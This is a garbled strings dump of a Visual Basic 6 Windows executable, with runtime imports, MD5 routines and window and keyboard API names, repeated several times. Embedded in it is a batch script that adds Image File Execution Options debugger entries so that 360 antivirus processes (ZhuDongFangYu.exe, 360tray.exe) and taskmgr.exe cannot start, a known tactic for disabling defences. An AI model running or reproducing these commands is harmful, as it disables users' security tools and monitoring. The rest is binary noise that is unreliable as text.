QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
1F6866DA5904181AB78CB92397A612F3
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
E990C7F254AFFB40E4F8CC0788E2F17B
75210BD444E7C1EEF190F78A0DCA172A
CB42CF9E8D3246DB9A720B092AEE26F2
FD8FF6F17CFFED7E4027C391D213E9F4
84ED3022B3230383BE8BFCE903E68ACB
DCD5D9C1068016EED1E116CA204EF9F8
7657240CD389E40AA4025DEB5C25BC00
9D183D4775C8E88961F4247B02E71E01
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
1F6866DA5904181AB78CB92397A612F3
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
